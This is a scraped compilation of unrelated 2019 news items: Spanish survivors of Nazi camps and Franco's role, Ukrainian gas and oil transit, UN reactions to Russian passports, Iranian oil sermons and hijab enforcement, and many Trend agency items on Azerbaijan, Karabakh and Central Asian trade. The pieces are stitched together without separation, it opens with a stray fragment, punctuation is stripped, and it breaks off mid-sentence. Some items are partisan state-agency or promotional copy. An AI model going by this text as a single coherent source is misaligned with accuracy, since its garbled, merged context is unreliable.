Smiling, the little boy said: One is for me and Im saving the other one for my brother. English version by Susana Urra. Spanish concentration camp survivor Neus Catala in 2005. JOAN SANCHEZ Neus Catala is the most recent Spanish survivor of a Nazi concentration camp to pass away. On April 20, Catala died in her home town of Els Guiamets, in Tarragona province, at the age of 103. In 1943 Catala was arrested in France for collaborating with the French Resistance against the Nazi occupation of France, and sent to a concentration camp in Ravensbruck, Germany. In the past 13 months, five other Spaniards who were sent to concentration camps during World War II have passed away: Francisco Aura, Jose Marfil, Francisco Grieguez, Ramiro Santiesteban and Cristobal Soriano. These exiled Spaniards who had fought for the Republic during the Spanish Civil War survived Mauthausen, but died without seeing their country take any responsibility for the deportation of nearly 10,000 Spaniards to the Nazi camps. On August 20, 1940, in occupied France, a train left from the city of Angouleme for Mauthausen. It came to be known as the Convoy of the 927 because of the number of people it carried, and it was made up entirely of Spanish exiles who had fled the Franco regime. It also became the first train to take civilians to a Nazi concentration camp. Now, as the 80th anniversary of the date approaches, historians want acknowledgment of the role played by the Franco regime in these deportations. Approximately 3,800 Spaniards survived the Nazi concentration camps According to information from support associations and several historians, at least six Spaniards who survived Nazi concentration camps are still alive today: Vicente Garcia (survivor of Buchenwald), Jose Manuel Garcia Peruyera (Buchenwald), Lazaro Nates (Mauthausen), Siegfried Meir (Mauthausen), Juan Romero (Mauthausen) and Conchita Grange (Ravensbruck). But it is possible that there are more people out there who have never wanted to tell their story, says Benito Bermejo, a historian and one of the main experts on the deportations. Approximately 3,800 Spaniards, or 40% of those deported, survived the camps. But time has taken its toll on the survivors. The few who are still alive are unable to do interviews, attend tributes or participate in conferences to share their story. Many of their stories have been passed on to second and third generations, who continue to honor the memory of their family members and demand legal recognition of what they went through. A year and a half ago, the Catalan Republican Left (ERC) presented a motion asking Congress to legally recognize the Spanish republicans who were deported to Nazi camps, but it was rejected. The minimum demands of restitution and dignity have not been met, which is a huge contrast to other European countries that once supported fascism, but later, under democracy, asked for forgiveness, says Enric Garriga, president of Amical de Mauthausen (Friends of Mauthausen), an organization dedicated to the memory of the concentration camp victims, and the son of Marcelino Garriga, a Spaniard who was deported to Buchenwald. According to the six historians interviewed for this article, there is no doubt that Franco had responsibility in the deportations. Key evidence has been found. Although we do not know what the decision-making process was for deporting Spaniards to Mauthausen, there are several key documents which point to the Franco regime, explains Jose Antonio Lisbona, historian and author of Mas alla del deber (or, Beyond Duty) which explores the Spanish foreign services response to the Holocaust. They didnt try to protect their citizens because they did not consider them to be Spaniards German historian Bernd Rother One of these documents is a memo sent out on September 25, 1940 by the Nazi secret police, the Gestapo, to all authorities in the Third Reich and to occupied territories such as France under the Vichy regime. The message provided instructions on how to proceed with the Rotspanienkampser, literally the Combatants of Red Spain. This order, dictated under Hitlers orders, stripped the detainees of their status as prisoners of war and made it possible for them to be sent to concentration camps. This document has a lot to do with what [then Presidency Minister] Ramon Serrano Suner did two days earlier in Germany, where he met with [SS leader] Heinrich Himmler. Common sense and historical practice show that this meeting was the genesis for that internal order. In later statements, Franco and Serrano Suner insisted that there were no Spaniards outside of Spain, which in other words, meant that they did not consider them to be Spaniards, explains Lisbona. Another document which points to Francos connivance is kept in the General Administration Archives in Alcala de Henares. In this report, the German embassy in Madrid enquired about the Convoy of the 927, the shipment of republican Spaniards including women, men, children and the elderly from Angouleme to Mauthausen on August 20, 1940. Berlin asked what it should do with the minors who were over 14 years of age, and there was no official response. We havent found documents either in the Spanish archives or in the German ones. And there was no reply because they were not interested in the subject, says Lisbona. Bernd Rother, a German historian and author of Franco and the Holocaust, argues: It was fairly easy for the Franco government to ignore it. They didnt try to protect their citizens because they did not consider them to be Spaniards. There are several key documents which point to the Franco regime Historian Jose Antonio Lisbona The plight of the Spaniards deported to Nazi concentration camps was forgotten under the Franco regime, which survived until the late 1970s. Survivors spent decades in the shadows, living in exile as they were overlooked by a dictatorship that fabricated lies about Franco saving Jews. It was not until nearly 20 years later that the first literary evidence of the deportations began to appear. In 1963, Joaquim Amat-Piniella, a survivor of Mauthausen, managed to bypass the censors and publish K.L. Reich, a novel that documents the Nazi horrors. In 1970, the magazine Cuadernos para el dialogo chose to feature concentration camp survivors. In the next 15 years, only two other major works on the subject were published the history book Los catalanes en los campos nazis (or, Catalans in the Nazi Camps) by Spanish author Montserrat Roig in 1977, and the memoirs of Neus Catala, De la resistencia y la deportacion (or, Of Resistance and Deportation), in 1984. It has been really hard for this issue to come to light, given the scant interest there was during the Franco regime, the difficulty of accessing the archives, and the regimes propaganda, says historian Josep Calvet. While a lot of documentary work on this subject has been published in the past 15 years, most historians interviewed for this article believe that few young people today know about the deportations. Rosa Toran, a historian and former president of Amical de Mauthausen, believes this is mostly due to political reasons. The problem is finding a way to integrate deportation into Spains history. Its a political issue because the deportation of the Republicans was not by chance: they were combatants who were defeated, exiled and deported in connivance with the Spanish dictatorship. Its about not assuming or recognizing Spains fascist past. Sixty years after the liberation of Mauthausen In 2005, former Prime Minister Jose Luis Rodriguez Zapatero visited Mauthausen, six decades after its liberation, and officially honored Spanish republican victims. For Nathalie Serra, daughter of Mauthausen survivor Miquel Serra, another small step was taken recently when last February, Prime Minister Pedro Sanchez paid tribute to exiles at a French concentration camp in Argeles-sur-Mer, where 450,000 Spaniards were detained. English version by Asia London Palomba. National joint-stock company Naftogaz Ukrainy is preparing for reversing the Ukrainian gas transmission system (GTS) if Russia halts gas transit from January 1, 2020, Executive Director of NJSC Naftogaz Ukrainy Yuriy Vitrenko has said. He said that in particular, reconstruction of the Bar compressor station (the Soyuz gas pipeline, Vinnystia region) will give additional reliability for supplying gas from the country's west to eastern regions. "This is a challenge for the system... In the most painful points, we are trying to solve this problem," he said in an interview with the YouTube channel skrypin.ua. Vitrenko also said that in the event of the termination of Russian gas transit through the Ukrainian GTS, not all the capacities at the western border of the country (42.5 million cubic meters a day to Slovakia, 17.1 million cubic meters per day to Hungary, and 6.4 million cubic meters to Poland) can be used to import gas from Europe. "Not all the capacities from Europe, from Poland and Hungary, for example, are the so-called continuous capacities. That is, in fact, if there is no gas from Ukraine to Poland or Hungary, we cannot expect that gas will reversely flow into Ukraine. In Slovakia, about half of the capacity is uninterrupted. That is, we can also expect that we will receive half the gas from the most important Slovak direction," he said. According to him, if transit is interrupted, Ukraine should pump additional volumes of gas into underground storage facilities in spring and autumn to meet the country's needs in the upcoming heating period. Parties to negotiations on supply of Russian oil have found a solution to the problem of resuming transit. "A technical solution has been found. I think that literally in the first half of May, at least, the southern direction of the Druzhba pipeline will resume stable work on pumping Urals oil to consumer plants," Ukrtransnafta Director General Mykola Havrylenko said. As reported, on April 26 in Minsk representatives of Belarus, Russia, Poland and Ukraine held emergency talks on the situation with the transit of oil through the Druzhba pipeline. Belarusian Belneftekhim concern on the evening of April 19 announced a sharp deterioration in the quality of oil flowing through the pipeline from Russia. According to the concern, the content of chloride compounds in the Urals oil coming in via the Gomeltransneft Druzhba pipeline exceeded the standard values by several times. Belarusian refineries - Mozyr and Naftan - reported on the threat of damage to equipment and reduced oil refining volumes by almost 50%. Belarus on April 23 was forced to suspend the export of light oil products to Ukraine, Poland and the Baltic countries due to the receipt of poor-quality Russian oil. On April 24, Gomeltransneft Druzhba stopped the transit of "dirty" Russian oil to Europe after informing the Polish pipeline company Pern that oil refineries in Poland and Germany could accept and process oil. At 22:00, Warsaw time, they suspended transportation of oil to Poland at the Adamovo hub for an indefinite period. On the evening of April 25, Ukrtransnafta also reported that it was suspending the transit of oil through the Mozyr-Brody pipeline. Ukrainian President-elect Volodymyr Zelensky has told Lithuanian Foreign Minister Linas Linkevicius that his team had prepared a bill reimposing liability for illegal enrichment. At the meeting Linkevicius reminded that the West was watching especially closely anti-corruption efforts in Ukraine, Zelensky's press service said. "The decriminalization of illegal enrichment runs counter to Ukraine's obligations to the European Union," Linkevicius said. Zelensky also asked for help with setting up an international media organization to broadcast pro-Ukrainian position to the temporarily occupied Ukrainian areas. He thanked Lithuania for consistently defending Ukraine's interests in Europe. Linkevicius in turn congratulated him on winning the election and offered help with implementing reforms in combating corruption and the law enforcement system. European organizations in Brussels are very interested in the Ukrainian president-elect, Linkevicius said, offering Zelensky to visit EU-level international events at the first opportunity. France, Germany and Great Britain have condemned the decision of the President of Russia on the simplified procedure for granting of Russian citizenship to Ukrainians in Russia-occupied areas of Donetsk and Luhansk regions (ORDLO). "France firmly condemns the decision to grant Russian nationality in some areas, thereby dealing a blow to the Minsk agreements after the election of a new President who pledged to extend a hand to people in eastern Ukraine. The Russian Federation is demonstrating a lack of political will to implement the accords, and disdain for its commitments," French Ambassador to the UN Francois Delattre said during a meeting of the UN Security Council on Thursday. He said the move by the Russian side could not contribute to resolving the conflict. UK deputy permanent representative to the UN Jonathan Allen also condemned the decision. "Why are we here? We are here because Russia sent troops to Crimea and later grabbed it after an illegitimate pretense at a referendum held at the barrel of a Russian gun. Russia's actions were clearly illegal. Some 100 member UN states agreed in a General Assembly resolution. Russia sent troops in support of separatists in eastern Ukraine and continues to destabilize those regions. We condemn the recent decision of President Putin about passports. This is further evidence of Russia's aggressive actions to destabilize Ukraine, undermine security, sovereignty and territorial integrity," he said. German Ambassador to the UN Christoph Heusgen also condemned Putin's decree. "Your president, President Putin, signed a decree on the passports on April 24, on the international day of multilateralism. We all at the UN General Assembly spoke about the need to follow international order based on the rules. And you demonstrated your disregard for the international rules based order," he said, speaking to Russia's Permanent Representative to the UN Vasily Nebenzya. Ex-head of Officer Corps center for releasing prisoners Volodymyr Ruban, who was released on April 16 from pretrial confinement, has left Ukraine, the press service of Ukraine's Prosecutor General's Office (PGO) has said. "He left Ukraine," the PGO's press service told the Kyiv-based Interfax-Ukraine news agency, noting the court did not remand him to custody. Oleh Slobodian, adviser to the head of the State Border Service, told Interfax-Ukraine agency that the State Border Service cannot comment on information regarding the crossing of the state border by individuals. The Central Election Commission (CEC) will start its meeting at about 12:00 on Tuesday, April 30, where it is to announce the final results of the presidential elections in Ukraine. "Tentatively at 12:00 on April 30, the Central Election Commission will start a meeting, where it is to establish and announce the results of the presidential runoff voting on April 21, 2019," the CEC press service said on Friday. Earlier, CEC Deputy Head Yevhen Radchenko explained that the CEC would receive a confirmation from the courts by the morning of April 30 that the results of the presidential elections in Ukraine were not being challenged in court, after which it would be able to announce the final results. In an apparently coordinated public relations campaign, Friday Prayer Imams in Iran claimed that the country does not depend on oil exports very much and Gulf countries cannot replace Iranian exports sanctioned by the United States. Mashhads prayer leader, hardliner Ayatollah Ahmad Alamolhoda said during Friday Prayer on April 26 that We depend on God, Islam, the Quranand the prayers of the Supreme Leader; not on oil, mines, resources and international markets. Alamolhoda also claimed that not selling oil will not lead to any economic problems for Iran and it is possible to reduce Irans dependence on oil to 4 percent of the economy soon. Prayer leaders in Shiraz, Tabriz and other cities also offered similar sermons, telling people not to worry about loss of oil income. In recent years, Irans dependence on oil has been between 40 and 60 percent. In the current Iranian budget $24 billion of revenue is supposed to come from oil exports and this is roughly the amount the government needs to pay its employees and pensioners. The United States on April 22 scrapped exemptions it had temporarily offered several friendly countries allowing them to buy Iranian oil for six months ending May 1. Iranian exports, which had already dwindled to around one million barrels per day, are expected to go down significantly, leaving Iran with little foreign currency income to pay for essential imports and salaries. In addition to that, unprecedented floods devastated large parts of Iran in March and April. Damages are estimated to reach $10 billion, with the government promising to reimburse millions of affected citizens. The Imams in their sermons also claimed that Saudi Arabia and UAE do not the capacity to replace lost Iranian exports and the price of oil will climb to more than $100 a barrel. Oil prices jumped when the U.S. announced its decision to stop all Iranian exports. The benchmark Brent reached $75 after the U.S. announcement but then it retreated settling at around $71 on Friday, April 26. The International Energy Agency, as well as most observers have reiterated that the global oil market is well supplied and the Persian Gulf Arab countries have spare capacity to make up for the absence of Iranian oil. Friday Prayers in Iran have lost the popularity they once had in the 1980s and 90s, as most Imams routinely echo what the Supreme Leader Ali Khamenei or his representatives say. They are seen as part of the ruling establishment and not as independent religious leaders. This was apparent again on April 26, as Alamolhoda referring to Khamneis past speeches said, Our problem is with people whose belief in Godhas weakened and the West has brainwashed them. He added that Western influence has infiltrated into political currents and even state institutions, with each small U.S. move creating fear. A Ministry of Intelligence official in the province of Sistan & Baluchestan, in southeast Iran, says the largest ever amount of synthetic drug shisheh (crystal Methamphetamine), has been seized in the country. "Following a series of complicated operations and collecting information, the department succeeded to seize 1,300 kilograms (approximately 2,900 pounds) of narcotics, including more than 850 kg (about 1,900 pounds) of the addictive synthetic drug, shisheh," the government official news agency, IRNA, cited the unnamed intelligence officer as saying. The drug consignment was seized after the intelligence department forces and border guards clashed with an armed group of smugglers, entering Iranian soil via Afghanistan, IRNA reported. Two of the armed smugglers were killed, several injured or captured along with a significant amount of weapons and ammunition, the official maintained. Based on the United Nations reports, Afghanistan ranks first as the producer of opium and Heroin in the world. Iran, being Afghanistan's neighbor, has always been the main route for smuggling narcotics to the western world. As recent as April 19, Bulgarian customs officials said they had seized 288 kilograms (635 pounds) of heroin found in an Iranian truck entering Bulgaria from Turkey. However, a significant amount of the drugs produced in Afghanistan is sold and consumed in Iran. Meanwhile, Iranian police have admitted that many of the so-called "industrial narcotics" distributed in Iran are homemade. Iranian police are using text messaging to warn female drivers and passengers who take off their hijab (scarves) or ignore the Islamic dress code while driving or riding in cars. Hundreds of women in the capital city of Tehran recently received phone text messages, summoning them to the "Morality Police" station. After days of uncertainty about the origin of the messages, finally police announced the messages are official warnings. The women are accused of violating the Islamic dress code, including the removal of their scarves while driving a vehicle. "Those who are summoned will be released after committing themselves in writing that they will not repeat the offense," the Islamic Revolution Guards Corps Brigadier General Hossein Rahimi announced on Thursday evening, April 25. Should the offense be repeated, Gen. Rahimi warned, the accused will be charged and referred to a court of law. On Thursday, hundreds of women accused of driving without respecting hijab law (the Islamic Republic's dress code) rushed to the "Morality Police" headquarters in Tehran to inquire about the texts. Their presence disrupted traffic for hours at the busy road and streets close by. IRGC Gen. Rahimi dismissed the traffic mess as a "minor problem" that was tackled adequately by his forces. Speaking to the government's official news agency (IRNA), Gen. Rahimi said that drivers, who had been summoned, could have been the owners of the vehicles carrying female passengers who had not respected the Islamic dress code. Drivers of vehicles are responsible for their passengers, and should not allow them to ride in their cars without proper hijab, IRGC General insisted. Meanwhile, Rahimi asserted that those summoned may defend themselves, and if proved innocent, they will be freed without any charges. Earlier last week, Tehran's police chief, IRGC Brigadier general Hossein Sajedi Nia had announced the deployment of "morality police undercover patrols," with more than 8,000 male and female staff to identify dress code offenders. In recent years law enforcement officials have detained tens of thousands of vehicles for carrying female drivers or passengers who had removed their scarves or violated the Islamic dress code in other ways. Many human rights defenders and lawyers believe that a vehicle is a private space and should be respected by law enforcement officers. Nonetheless, the Islamic Republic Judiciary has argued that the invisible part of the car, such as the trunk, is a private space, but this does not apply to the visible parts of a vehicle. Furthermore, based on a law endorsed and implemented in 2015, wherever is visible to the public, including common areas of residential complexes, hotels, and hospitals, as well as vehicles, are public spaces. Using mobile phone text messaging to warn female drivers and passengers who violate the compulsory hijab and dress code in Thran started in November 2017. The experiment by the capitals police to text notices to car owners who violate the hijab rule has proven successful, Theran's prosecutor said. The move is aimed at reducing traffic accidents in Tehran, the city's Prosecutor General said at the time. The reference to accidents means that women without proper hijab distract other drivers, according to law enforcement. Baku, Azerbaijan, April 26 Trend: The United States Agency for International Development (USAID) Mission in Azerbaijan and the United States-Azerbaijan Chamber of Commerce (USACC) signed a memorandum of understanding today on collaboration towards common goals. These two partners will work together to help stimulate economic growth, and to promote trade and commerce, as well as academic and cultural ties, between the United States and the Republic of Azerbaijan. USAID and USACC will partner to promote economic activities between American and Azerbaijani businesses in a number of areas and market sectors. They plan to support agribusinesses and individual entrepreneurs with technical assistance and business training programs, and encourage public and private partnerships that will bring innovative science- and market-based solutions to advance the growth of promising Azerbaijani industries. The agreement includes areas of cooperation related to making Azerbaijan an easier place to start and operate businesses, improving food safety and security standards, increasing agricultural and agronomic capacity, and advancing opportunities for youth and women. USACC and USAID have already collaborated on the Illinois-Azerbaijan Agricultural Forum, held April 3-5 in Chicago and hosted by USACC and the Illinois Chamber of Commerce. The forum was the first of its kind between the two countries, and brought together field experts, private sector executives, ag-manufacturers, and agriculture and government authorities from Illinois and Azerbaijan. USAID/Azerbaijans goal is to continue to build a lasting friendship, and an enduring business, investment, and trade partnership with Azerbaijan. USAID/Azerbaijan supports the Azerbaijani governments efforts to diversify the economy, create a transparent and open environment to attract investment, and advance the prosperity of the Azerbaijani people. Since its inception in 1995, USACC has been a vital resource for individuals and businesses of the United States of America and Azerbaijan seeking to establish long-term business ties. USACC serves as a platform for trade missions and conferences, and arranges business meetings where key government and business leaders from both countries can meet, share ideas, and forge business partnerships. Baku, Azerbaijan, April 26 Trend: Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 27 times, Trend reports with reference to the Azerbaijani Defense Ministry. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts. Baku, Azerbaijan, April 26 By Matanat Nasibova Trend: The key military and political issues, related to the preservation and ensuring security in the region and the world, have been recently touched upon within the 8th International Security Conference in Moscow, Elkhan Alasgarov, PhD, Head of the Expert Council of the Baku Network and Deputy Director General of Trend News Agency said. The global and regional aspects of security, the peculiarities of the activity of the defense agencies in responding to threats and challenges to the security of the countries in terms of the crisis in relations between the West and the East were discussed at the plenary sessions, he said. "Moreover, the situation in Africa, Libya, Sudan, Syria, attempts to change power in Venezuela and in general, the global problem of combating world terrorism were discussed, Alasgarov said. The topics related to local conflicts, in particular, the Armenia-Azerbaijan Nagorno-Karabakh conflict, were not put on agenda of the conference. However, the topic of this conflict was discussed during bilateral conversations and meetings with security experts from Russia, the US, Japan, Sweden, France, Serbia and other countries." He mentioned that interesting conversations were held with Director of the Stockholm International Peace Research Institute Dan Smith, Under Secretary General for Department of Peace Operations at the UN Jean-Pierre Lacroix and ICRC's vice-president Gilles Carbonnier. The issues related to the Nagorno-Karabakh conflict, in particular, the implementation of four UN decisions on the withdrawal of the Armenian armed troops from the occupied Azerbaijani territories were discussed during those conversations, he said. The issue of the release of Azerbaijani hostages - Dilgam Asgarov and Shahbaz Guliyev, illegally convicted by the Armenian occupiers, was also discussed, he added. Following the meetings, Alasgarov stressed that today the world understands and supports Azerbaijans fair position, based on the norms and principles of international law. During the conference Azerbaijan was represented by Azerbaijani Deputy Minister of Defense, Lieutenant General Karim Valiyev, as well as Elkhan Alasgarov. ---- Follow the author on Twitter: @MatanatNasibova Baku, Azerbaijan, April 26 Trend: The Armenia-Azerbaijan Nagorno-Karabakh conflict is a serious problem not only for Azerbaijan but for regional stability and regional peace, Azerbaijani President Ilham Aliyev said. President Aliyev made the remarks at the Second Belt and Road Forum for International Cooperation in Beijing on April 26, Trend reports. Talking about peace and security, I would like to mention the conflict between Armenia and Azerbaijan, the president said. Unfortunately, for many years, for more than 25 years, internationally recognized territory of Azerbaijan is under Armenian occupation. As a result of occupation more than one million Azerbaijanis became refuges and IDPs, he added. Our people were subject of ethnic cleansing and the United Nations Security Council adopted 4 resolutions demanding immediate and unconditional withdrawal of Armenian troops from our territory. Unfortunately, these resolutions are not implemented. This is a serious problem not only for our country but for regional stability and regional peace. And the conflict between Armenia and Azerbaijan must be resolved based on the norms and principles of international law within the framework of territorial integrity of Azerbaijan. Baku, Azerbaijan, April 26 Trend: A reception has been hosted on behalf of Chairman of the Peoples Republic of China Xi Jinping and the Chinese first lady in honor of heads of state and government who attend the second Belt and Road International Forum, Trend reports referring to the Azerbaijani presidential press-service. President of the Republic of Azerbaijan Ilham Aliyev attended the reception. Details added (first version posted on 14:25) Baku, Azerbaijan, April 26 Trend: President of the Republic of Azerbaijan Ilham Aliyev has met with President of the Russian Federation Vladimir Putin in Beijing, Trend reports referring to the Azerbaijani presidential press-service on April 26. The heads of state made speeches at the event. I am happy to see you, Russian President Vladimir Putin said. We already had the pleasure of talking to each other briefly, as they say, on the sidelines. I am glad to have the opportunity to talk to you in such a wider format now. We meet on a regular basis. We have the opportunity not only to exchange views and touch base, but also to somehow correct our joint work. In general, it goes very well, in my opinion. Trade and economic ties are developing, President Putin added. As a matter of fact, we have even created a special interaction mechanism in the trade and economic sphere on your initiative. In my opinion, this initiative is developing well. We will then ask our colleagues from the Russian and Azerbaijani sides to comment on this matter. But on the whole, we are satisfied with the development of our relations. I am sure we will also talk about all aspects of our interaction today. I am very glad to see you. Thank you very much, dear Vladimir Vladimirovich, Azerbaijani President Ilham Aliyev said. I am very delighted with our new meeting. Our meetings give a very serious impetus to the development of our relations. We meet on a regular basis and, of course, resolve very important issues of cooperation and interaction in all areas. We are very satisfied with the way our relations develop, President Aliyev added. They cover all areas. An active political dialogue is under way. We are seeing an increase in turnover. As you noted, there is a special mechanism for promoting specific projects. There is a lot of interest from business circles in working together. Of course, the transport and logistics sector is an important area of cooperation. And we have good results here: there is energy, agriculture and humanitarian cooperation, he said. I think that the level of relations today is such that it allows us the opportunity to address many issues on the bilateral and regional agenda. Therefore, I am sure that our present meeting will also give a good impetus to the future development of relations, which are based on friendship, good-neighborliness, mutual support and respect. We value this relationship highly, appreciate it very much and look forward to moving it forward. Thank you again. Thank you, President Putin said. As far as trade is concerned, our trade increased by almost 14 percent last year and reached $2.5 billion. But we have many common issues on the international agenda too. We agreed that we would hold another Russian-Azerbaijani-Iranian summit in Russia in August. So we will talk about that too. Thank you, President Aliyev said. The prospects for cooperation in the political, economic, energy, infrastructure, investment, agricultural, oil and gas, transport, industrial, pharmaceutical, educational, cultural, humanitarian spheres, including the North-South transport corridor were discussed at the meeting. The sides pointed to the successful activities of the intergovernmental commission and the presence of good opportunities for a further expansion of economic cooperation. During the conversation, the Armenia-Azerbaijan Nagorno-Karabakh conflict was discussed. President Putin said that Russia as the Minsk Group co-chair country would continue to make efforts to resolve the conflict. President Aliyev appreciated the efforts of Russia as a co-chair country to resolve this conflict. The sides expressed confidence that friendly relations between the two countries would continue to develop successfully. Baku, Azerbaijan, April 26 Trend: Bakcell, the First Mobile Operator and the Fastest Mobile Internet Provider of Azerbaijan supported the "Quoi? Ou? Quand?" concert, dedicated to Francophonie weeks in Baku. The concert was held with participation of students of the French-Azerbaijani University (UFAZ), functioning under the Azerbaijan State Oil and Industry University (ASOIU). Rector of ADNSU, Professor Mustafa Babanli, French Ambassador to Azerbaijan Orelia Bushez, Greek Ambassador to Azerbaijan Nikolaos Canellos, Belgian Ambassador to Azerbaijan Bert Shufs, representatives of Bakcell and French Institute of Culture, as well as UFAZ professors and students have attended the event. The French-Azerbaijani University (UFAZ), functioning under the Azerbaijan State Oil and Industry University (ASOIU), is establishing itself as a university of scientific excellence in Azerbaijan and the whole region. UFAZ largely contributes to promotion of French language and culture by encouraging students to express their artistic and musical skills during events such as Francophonie. Being the sponsor of the concert, Bakcell traditionally supports the development of education, by paying special attention to students and youth in Azerbaijan. *** Bakcell, the First Mobile Operator and Leading Mobile Internet Provider of Azerbaijan, offers a wide range of products and Services to users of modern mobile communications Services. The company provides its customers with the best-in-class 4G mobile internet. The 4G services of Bakcell are already available in Baku and Absheron peninsula, as well as central parts of more than 40 regions of Azerbaijan. With more than 7000 base stations, Bakcell network covers 99 percent of the population and 93 percent of the land area of the country (except for the occupied territories). In 2017, Bakcell network has been recognized as the Best in Test in Azerbaijan by P3 Communications, being one of the most trusted independent authorities in mobile benchmarking. Bakcell has been recognized as the Fastest Mobile Network in Azerbaijan. This award, presented by world-famous Ookla company, recognizes Bakcells commitment to delivering fastest speeds to customers all across Azerbaijan. For more information about Bakcell products and services, please visit www.bakcell.com or call 555. If you are not a Bakcell subscriber, but wish to find out about Bakcell and its products and services, please call 012 498 89 89 Baku, Azerbaijan, April 26 Trend: An international conference in IT sector will be organized in Azerbaijan this June, Trend reports referring to Azerbaijans State Customs Committee (SCC). Chairman of Azerbaijans SCC, Lieutenant-General of the Customs Service Safar Mehdiyev met with Secretary General of the World Customs Organization (WCO) Kunio Mikuriya, according to the report. The meeting was held in St. Petersburg as part of the WCO Europe Region Heads of Customs Conference. Issues on the ongoing preparatory measures were discussed. Mehdiyev noted that fruitful cooperation is established between the WCO and the Azerbaijani customs, adding that these ties will continue to develop, and also expressed confidence in achieving new success thanks to joint cooperation. Speaking about the reforms carried out in Azerbaijan under the leadership of President Ilham Aliyev, Mehdiyev stressed that transparency was strengthened in the customs sphere, and the activity of customs authorities was further improved. Tehran, Iran, April 26 Trend: Vice Chairman of Iran and China Chamber of Commerce denies recent reports by some mass media on cessation of Iran-China banking cooperation and says that the Chinas Foreign Ministry has announced its rejection on US sanctions. Majid Reza Hariri rejected unofficial statements about suspension of cooperation between Iran and China and emphasized that any comments on banking relations between the two countries are to be made by the Central Bank, Trend reports referring to Iran and China Chamber of Commerce. "The only official reference on this issue is the Central Bank, he said. This is a decision made at the highest level of the country in order to avoid misleading comments. In his words, there is no problem with China in the exchange of non-sanctioned commodities and deals with non-sanctions banks, and Kunlun Bank will continue to work with Iran. Referring to the official statement of the Chinese Foreign Ministry on the sanctions imposed on Iran, he said, "Chinese Foreign Ministry officially announced that it would not accept the sanctions and the Central Bank of Iran announced that it continued its operations on a routine basis." However, Hariri did not rule out the possibility of interruptions or disturbances in the process due to the need to change the working methods and adjust them to new conditions when they are announced by the United States. "The sanctions do affect Iran's trade relations with other countries including China and impact our foreign relations, but we need to address the issue," said the Vice Chairman of Iran and China Chamber of Commerce. In his words, it is important to be patient in the efforts to continue Irans connection with the rest of the world to serve the national interests. Baku, Azerbaijan, Apr. 26 By Fakhri Vakilov Trend: At the plenary session of the Senate of Kazakhstan, the deputies adopted a law on ratification of a temporary agreement on the formation of a free trade zone between the countries of the Eurasian Economic Union (EAEU) and Iran, Trend reports referring to Kazakh media. The agreement concluded in Kazakhstan on May 17 last year provides for the establishment of a preferential trade regime and reduction of import customs duties in mutual trade zone between the EAEU member states and Iran in respect of a number of approved goods for a period of three years . Speaking at the session, the Minister of National Economy of Kazakhstan Ruslan Dalenov informed that the volume of mutual trade with Iran last year amounted to $516.3 million, of which Kazakhstan's exports to Iran accounted for 82.6 percent. "The main export products are barley, rolled steel, rapeseed and lamb. in line with the agreement, the Iranian side provided a reduction in import duties on 864 goods," the Minister said. The three-year agreement allows Kazakhstani exporters to import beef and mutton, legumes, vegetable oils, macaroni and confectionery, rolled steel, rails, batteries, fittings, and pipes to the Iranian market at a reduced rate. This group of goods, according to the minister, takes more than half of Kazakhstans exports. In their turn, the participating countries of the EAEU will reduce import duties on Iran on 502 goods including, in particular, pistachios, dates, figs, raisins, shrimps, confectionery, dishes, detergents, carpets and plastic products. The agreement approved by the senators will enter into force 60 days after the completion of the procedures for its ratification. The head of the Ministry of Economic Development and Trade noted that within a year after ratification the parties would begin negotiations on a permanent agreement on a free trade zone. The law approved by the deputies has yet to be signed by the President of Kazakhstan. Follow author on Twitter:@vakilovfaxri Ashgabat, Turkmenistan, April 26 By Huseyn Hasanov Trend: A meeting with Ambassador of Hungary to Turkmenistan Peter Santo was held in the Union of Industrialists and Entrepreneurs of Turkmenistan (UIET), Trend reports with reference to the UIET. The diplomat was major investment projects and told about the success in the production of building materials, the food industry, the development of horticulture, animal breeding and poultry farming. It was emphasized that the measures being taken in Turkmenistan to support the non-state sector of the economy contribute to the development of the export potential of private business entities, the organization of joint ventures and interaction with foreign colleagues, the report said. Noting the attractiveness of the investment climate created in Turkmenistan and the presence of huge potential for the development of mutually beneficial economic and trade cooperation, the ambassador spoke in favor of establishing productive contacts between the business circles of the two countries, adding that he intends to fully contribute to this. Turkmenistan is taking measures to enhance the investment activity of small and medium-sized businesses. As of 2018, more than 1,015 enterprises subordinated to UIET operate in the agro-industrial complex. The local companies are focused on production of a wide range of agricultural and food products that satisfy the needs of the country's market. Some 597 enterprises are functioning in the industry sector, in particular in the area of the production of building materials, textiles and carpets, chemicals, metal products, furniture, faience, glass products, and polyethylene and plastic products to meet demands in the domestic and foreign markets. According to the state program of Turkmenistan, by 2020, the share of the non-state sector of the economy in the volume of gross domestic product should reach 70 percent. Local entrepreneurs are allowed to establish joint ventures with foreign partners by attracting their investments. Baku, Azerbaijan, Apr. 26 By Fakhri Vakilov Trend: Export of Russian agricultural equipment to Uzbekistan increased 7.5 times compared to 2017, to $20,817 million, Trend reports the press service of Russia's Rosspetsmash association. Russian plants export a wide range of agricultural machinery to Uzbekistan: grain and forage harvesters, energy-efficient tractors, harrows, seeders, balers and other equipment. Russia also supplies Russian road construction equipment, such as truck cranes, excavators, bulldozers, and smelters. Meanwhile, industrial exhibition "Expo-Russia Uzbekistan 2019" opened in Tashkent on Apr. 24. Russian specialized machinery has been represented by Rostselmash, Petersburg Tractor Plant and Pegas-Agro. The director of Rosspetsmash Alla Elizarova took part in the events of the business program - she became the moderator of the round table on the theme "Strengthening cooperation in the field of the agro-industrial complex". She noted that a promising area of cooperation between the two countries is the supply of modern Russian agricultural machinery and equipment to Uzbekistan for the production of high-quality agricultural products, which can be sold not only in the domestic market, but also exported to Russia. In addition, Russian enterprises can provide consumers from Uzbekistan with road building and food equipment, she said. Two years ago, Rostselmash launched the production of tractors and combines on the basis of the Chirchik agricultural machinery plant. Russian President Vladimir Putin has previously noted this production as one of the successful cooperation projects of the two countries. --- Follow author on Twitter:@vakilovfaxri Baku, Azerbaijan, Apr. 26 By Fakhri Vakilov Trend: Russian Foreign Minister Sergei Lavrov will visit Uzbekistan on May 2-3, Trend reports with reference to the Ministry. Official representative of the Russian Foreign Ministry Maria Zakharova announced this at a briefing. During the visit, the Russian Foreign Minister will meet with President of Uzbekistan Shavkat Mirziyoyev 